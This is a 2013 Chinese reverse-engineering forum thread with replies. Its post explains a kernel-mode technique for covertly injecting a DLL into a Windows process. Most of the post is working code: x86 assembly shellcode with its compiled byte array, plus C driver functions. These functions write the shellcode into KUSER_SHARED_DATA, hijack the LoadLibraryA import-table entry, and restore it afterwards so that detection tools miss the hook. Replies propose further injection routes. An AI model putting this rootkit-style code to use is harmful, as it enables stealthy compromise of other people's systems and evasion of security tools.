首页
论坛
课程
招聘
[原创]内核ShellCode注入的一种方法
2013-5-4 04:34 18027

[原创]内核ShellCode注入的一种方法

2013-5-4 04:34
18027
最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下

一、先写一段shellcode
主要思路是:
1、        程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、        Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、        通过PEB找到kernel32.dll基地址
4、        调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、        调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、        跳转回LoadLibraryA继续执行
代码:
jmp	ShellCodeStart
	Addr_IAT_LoadLibraryA	dd 402000h				;LoadLibraryA在IAT中的地址,由注入函数写入
	Addr_LoadLibraryA 	  	dd 7C801D77h			;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处
	Addr_VirtualProtectName	db	"VirtualProtect",0	;VirtualProtect名称的地址
	Addr_LoadDllName		db	"InputDll.dll",0
	
	
	ShellCodeStart:
	push	ebx
	push	ecx
	push	edx
	push	esi
	push	edi
	push	ebp
	
	xor 	ecx, ecx								;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢
	assume 	fs:nothing
	mov		esi, fs:[30h]							;取PEB
	mov 	esi, [esi+0Ch]
	mov 	esi, [esi+1Ch]
	InInitializationOrderModuleList:
	mov 	eax, ds:[esi+8]
	mov 	edi, ds:[esi+20h]
	mov 	esi, ds:[esi]
	cmp 	WORD ptr ds:[edi+18h],cx
	jnz 	InInitializationOrderModuleList

	
	push	ebp
	call	RelocLocation							;push eip,eip = 新RelocLocation的地址
	RelocLocation:
	pop		ebp										;将eip出栈给ebp,ebp = 新RelocLocation的地址
	sub		ebp, offset RelocLocation				;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp
	
	mov		ecx, ebp								;取Addr_VirtualProtectName重定位后的地址并压栈
	add		ecx, offset Addr_VirtualProtectName
	invoke	GetAPI, eax, ecx, 14					;调用GetAPI获取VirtualProtect的地址
	mov		ebx, eax								;将获取的地址放入ebx中

	mov		eax, ebp								;取Addr_LoadDllName重定位后的地址并压栈
	add		eax, offset Addr_LoadDllName
	push	eax
	lea		esi, [ebp + Addr_LoadLibraryA]			;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA
	call	DWORD ptr [esi]							;API为stdcall调用,自平衡堆栈
	
	mov		edi, [ebp + Addr_IAT_LoadLibraryA]		;取LoadLibraryA在IAT的地址
	push	eax										;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回
	
	push	esp										;调用VirtualProtect修改IAT的写保护
	push	PAGE_READWRITE
	push	4
	push	edi
	call	ebx
	
	pop		eax
	
	mov		eax, [esi]								;[esi] = LoadLibraryA的地址
	mov		[edi], eax								;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址
	
	pop		ebp										;平衡
	pop		ebp
	pop		edi
	pop		esi
	pop		edx
	pop		ecx
	pop		ebx
	
	jmp		eax										;跳转至LoadLibraryA继续执行
	 


GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
	local	@SizeOfFNT:DWORD
	local	@APIAddr:DWORD
	
	pushad
	
	mov		ebx, _Kernel32Base
	assume	ebx:ptr IMAGE_DOS_HEADER
	add		ebx, [ebx].e_lfanew                         ;取PE的首地址,即PE标志位
	assume  ebx:ptr IMAGE_NT_HEADERS
	mov		ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
	add		ebx, _Kernel32Base
	
	assume  ebx:ptr IMAGE_EXPORT_DIRECTORY
	mov		eax, [ebx].NumberOfNames											;将函数总数乘以4,得FNT表大小
	shl		eax, 2
	mov		@SizeOfFNT, eax
	mov		edi, [ebx].AddressOfNames											;获取输出表API名称查询表(FNT)RVA
	add		edi, _Kernel32Base													;获取输出表API名称查询表(FNT)内存地址
	mov		esi, _szAPIName
	mov		ecx, _APINameLength
	xor		edx, edx
	xor		eax, eax															;eax置0

	.while  edx < @SizeOfFNT													;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环
		
		push	ecx																;保存字符串长度
		push	edi																;保存edi,比较API名称
		push	esi
		
		mov		edi, [edi]														;取API名称的RVA
		add		edi, _Kernel32Base												;取API名称的内存地址
		cld
		repe	cmpsb
		
		pop		esi																;将esi重新指向_szAPIName首地址
		pop		edi
		pop		ecx
		jnz		FAA_FindExportAPIAddr_NoFind									;如果ecx=0,说明函数字符全部相同
		mov		eax, [ebx].AddressOfFunctions									;取FAT表RVA
		add		eax, _Kernel32Base												;取FAT表RVA内存地址
		add		eax, edx														;取查找函数FAT表项的地址
		mov		eax, [eax]														;取查找函数的RVA
		add		eax, _Kernel32Base												;取查找函数的内存地址
		mov		@APIAddr, eax
		.break																	;找到则退出循环
		
		FAA_FindExportAPIAddr_NoFind:
		add 	edx, 4															;计数+4指向下一个FNT表项
		add		edi, 4															;edi指向下一个FNT表项
		
	.endw	
	
	assume	ebx:nothing
	popad
	mov		eax, @APIAddr
	ret	

最后生成的shellcode如下:
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00

二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导

        借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。

代码:
//名称:HookIAT
//功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址
//参数1:_ProcessID= 加载进程的PID
//返回:成功则返回TURE,否则返回FALSE

BOOL HookIAT(IN HANDLE _ProcessID,  IN PUNICODE_STRING _FullImageName)
{
	PEPROCESS	pEProcess;
	PVOID			hModule, pHookAPIAddr;
	BOOL			HookIAT_Ret = FALSE;

	if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
	{
		if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
		{
			KdPrint(("加载Dll=%wZ\n", _FullImageName));
			//KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID));
			//KdPrint(("pEProcess=%x\n", (ULONG)pEProcess));
			KdPrint(("进程名称=%s\n", pEProcess->ImageFileName));
			hModule = pEProcess->SectionBaseAddress;
			//KdPrint(("基地址=%x\n", (DWORD)hModule));

			KeAttachProcess(pEProcess);														//切换至ring3空间
			
			pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
			
			if (pHookAPIAddr)
			{
				if(InjectCode(pHookAPIAddr))
				{
					staHookFlag = TRUE;
					KdPrint(("ShellCode注入成功"));
					//UnInjectDll();
				}
				else
				{
					KdPrint(("ShellCode注入失败"));
				}
			} 
			else
			{
				KdPrint(("%s函数的IAT地址未找到\n", HOOKAPINAME));
			}
			
			KeDetachProcess();
		}
	}

	return HookIAT_Ret;
}


接下来就是搜索我们要注入的进程的IAT,找到LoadLibraryA的地址和IAT地址
代码:
//名称:FindIATAddr
//功能:寻找指定导入表函数名称的IAT地址
//参数1:pMapView = 模块的映射基址
//参数2:pszDllName = Dll名称
//参数3:pszAPIName = 函数名称
//返回:成功则返回函数在导入表的地址,否则返回NULL
PVOID FindIATAddr(PVOID _pMapView, PCHAR  _pszDllName , PCHAR  _pszAPIName)
{
	DWORD	RVA_ImportDirectory;
	DWORD	DllNum, i, index;
	PVOID		pDllName;
	PWORD		pIAT, pINT;
	PIMAGE_IMPORT_BY_NAME pAPIName;
	IMAGE_DOS_HEADER *pImg_DosHeader;
	IMAGE_NT_HEADERS *pImg_NtHeader;
	PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory;
	
	pImg_DosHeader = _pMapView;
	(ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew;
	if (pImg_NtHeader->Signature != 0x4550)										//判断是否为标准PE文件					
	{
		KdPrint(("该文件不是标准PE文件\n"));
		return	NULL;		
	}	
	
	RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
	DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;
	DllNum --;
	if (RVA_ImportDirectory ==0)
	{
		KdPrint(("该程序没有输入表\n"));
		return	NULL;
	}
	KdPrint(("Dll数目=%d \n", DllNum));

	(DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory;
	for (i=0; i<DllNum ; i++)
	{
		(DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView;
		//KdPrint(("Dll名称为%s: \n", pDllName));

		if(VK_CmpString(pDllName, _pszDllName))
		{
			KdPrint(("%s已找到, i=%d  \n", pDllName, i));
			(DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR);
			(DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk;
			(DWORD)pINT =  (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk;
			for (index =0; pIAT[index] != 0; index++)
			{
				if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)					//IMAGE_ORDINAL_FLAG =0x80000000,即当INT最高位为0时表示已函数名导入
				{
					(DWORD)pAPIName = (DWORD)_pMapView + pINT[index];
					//KdPrint(("API名称为%s: \n", pAPIName->Name));
					if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName))
					{
						KdPrint(("%s函数已找到,IAT地址 =%x \n", pAPIName, &pIAT[index] ));
						return	&pIAT[index];
					}
				}
			}
		}
	}
	return NULL;
}


然后注入我们的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之终极打造》中只Hook了GetProcAddress,未对其写回,所以只修改了shellcode中GetProcAddress的地址,由于我们内核注入Dll为了隐蔽,不能让工具或程序检测到我们IAT注入,所以我们这里也要将LoadLibraryA的IAT地址写入shellcode,再由shellcode将注入进程的IAT恢复,这样进程运行起来后就不知道被注入过了。
代码
//名称:InjectCode
//功能:注入代码
//参数1:_pIATAddr = 函数在导入表的地址,将此处改写为我们注入代码的地址
//返回:成功则返回STATUS_SUCCESS,否则返回STATUS_UNSUCCESSFUL

BOOL InjectCode(PVOID _pIATAddr)
{
	PMDL  pMDL;
	PDWORD pHookAddr;
	DWORD Addr_sharedM = 0x7ffe0800;				//KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移		
	DWORD Addr_sharedK = 0xffdf0800; 				//KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移
	unsigned char Shellcode[] = {
		0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C
		,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E
		,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E
		,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50
		,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08
		,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2
		,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45
		,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 }; 
	
	KdPrint(("_pIATAddr = %x\n",  (DWORD)_pIATAddr ));
	pMDL = MmCreateMdl(NULL, _pIATAddr, 4);
	if (!pMDL)
	{
		KdPrint(("创建MDL失败\n"));
		return	FALSE;
	}
	MmBuildMdlForNonPagedPool(pMDL);
	pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	pHookAddr = MmMapLockedPages(pMDL, KernelMode);
	//_asm int 3

	RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249);
	_asm																												 //将LoadLibraryA输出表地址地址和LoadLibraryA地址写入ShellCode中
	{
		pushad
		
		mov		eax, _pIATAddr
		mov		edx, Addr_sharedK
		add		edx, 2
		mov		[edx], eax
		mov		eax, [eax]
		add		edx, 4
		mov		[edx], eax

		popad
	}
	//RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4);				            
	*pHookAddr = Addr_sharedM;																		//将LoadLibraryA输出表地址改为0x7ffe0800(ShellCode地址)
	
	MmUnmapLockedPages(pHookAddr, pMDL);
	IoFreeMdl(pMDL);

	return	TRUE;
}


最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
//名称:UnInjectDll
//功能:PsSetLoadImageNotifyRoutine的回调函数,
//参数1:无
//返回:无
NTSTATUS UnInjectDll()
{
	NTSTATUS	RetStatus;

	RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines);
	if (RetStatus == STATUS_SUCCESS)
	{
		KdPrint(("回调函数已解除\n"));
	}
	return	RetStatus;
}

程序运行效果如下:
未注入前按下Test按钮:

注入后按下Test按钮:

最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下


源码和测试程序: 源码和测试程序.zip
测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮

[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (12)
雪    币: 144
活跃值: 活跃值 (32)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
透明色 活跃值 2 2013-5-4 06:37
2
0
不是吧,沙发
雪    币: 31
活跃值: 活跃值 (228)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
靴子 活跃值 2013-5-4 08:13
3
0
标记一下 ~支持LZ.
雪    币: 350
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
大小人物 活跃值 2013-5-4 10:33
4
0
MARK 支持一下
雪    币: 604
活跃值: 活跃值 (365)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Morgion 活跃值 1 2013-5-4 10:57
5
0
内核代码注入实际有很多办法~感觉你这个有点太兴师动众了~
在NT5上可以用APC
NT6上可以用ZwCreateThreadEx,就是得要搜索,麻烦点~
雪    币: 459
活跃值: 活跃值 (34)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 活跃值 9 2013-5-5 17:36
6
0
不错,不过选择loadlibrary作为切入点是不是有点麻烦?我也提一种吧,加个Create process notify,挂起目标主线程,写shellcode到进程空间,修改用户空间栈写入返回地址,恢复主线程,走起。
雪    币: 241
活跃值: 活跃值 (12)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
exediy 活跃值 1 2013-5-6 15:24
7
0
前排.....前排....
目测还可以来个移魂大发...把模块隐射进进程空间.然后硬件EIP走起....神不知鬼不觉.
雪    币: 314
活跃值: 活跃值 (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heihu 活跃值 2013-5-6 15:55
8
0
收藏了,慢慢看
雪    币: 30
活跃值: 活跃值 (53)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zzzSVhy 活跃值 2013-5-10 15:30
9
0
麻烦 5 6 7 给个小例子, 可以编译通过运行的来看看啊?
雪    币: 34
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
最爱小铅 活跃值 2013-6-4 09:46
10
0
收藏里,谢谢楼主分享
雪    币: 193
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dalong 活跃值 2013-6-10 14:56
11
0
学习...
雪    币: 116
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
boainfall 活跃值 2013-6-10 15:52
12
0
麻烦 5 6 7 给个小例子, 可以编译通过运行的来看看啊?
雪    币: 79
活跃值: 活跃值 (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cqzj70 活跃值 2014-1-22 20:54
13
0
mark
游客
登录 | 注册 方可回帖
返回